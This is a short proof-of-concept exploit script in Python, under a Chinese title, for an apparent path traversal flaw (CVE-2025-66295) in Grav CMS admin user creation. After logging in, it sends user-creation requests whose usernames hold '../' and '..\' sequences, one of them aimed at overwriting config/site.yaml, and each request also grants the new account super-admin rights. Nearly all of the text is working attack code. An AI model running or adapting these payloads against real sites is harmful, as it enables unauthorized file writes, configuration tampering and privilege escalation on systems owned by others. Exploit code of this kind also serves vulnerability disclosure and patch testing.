CVE-2025-66295 Grav路径遍历漏洞：Admin UI用户创建可写入任意位置

# CVE-2025-66295 PoC - Path Traversal in Grav Admin UI User Creation # This PoC demonstrates how an authenticated user with user creation privileges # can exploit the path traversal vulnerability to write files outside user/accounts/ import requests import json TARGET_URL = "http://target-grav-site.com" LOGIN_URL = f"{TARGET_URL}/admin" USER_CREATE_URL = f"{TARGET_URL}/admin/api/user" # Authentication credentials (low-privilege user with user creation rights) AUTH = { "username": "attacker", "password": "attacker_password" } def exploit(): """Exploit path traversal in user creation to write arbitrary YAML file""" # Step 1: Login to Grav Admin session = requests.Session() login_response = session.post(LOGIN_URL, data=AUTH) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Create user with path traversal payload # The username contains path traversal sequences to write outside user/accounts/ path_traversal_usernames = [ "../../Nijat", # Unix-style path traversal "..\\..\\Nijat", # Windows-style path traversal "../../../config/site.yaml", # Attempt to overwrite config ] for payload_username in path_traversal_usernames: user_data = { "username": payload_username, "email": "[email protected]", "fullname": "Path Traversal Attacker", "password": "hashed_password_value", "twofa_secret": "JBSWY3DPEHPK3PXP", "access": { "admin": { "login": True, "super": True } } } headers = { "Content-Type": "application/json", "X-Toolbar": "admin" } create_response = session.post( USER_CREATE_URL, data=json.dumps(user_data), headers=headers ) if create_response.status_code in [200, 201]: print(f"[+] Successfully created user with path traversal: {payload_username}") print(f"[+] File written to unexpected location outside user/accounts/") return True else: print(f"[-] Failed with payload: {payload_username}") return False if __name__ == "__main__": print("CVE-2025-66295 Exploitation Tool") print("Target: Grav CMS < 1.8.0-beta.27") exploit()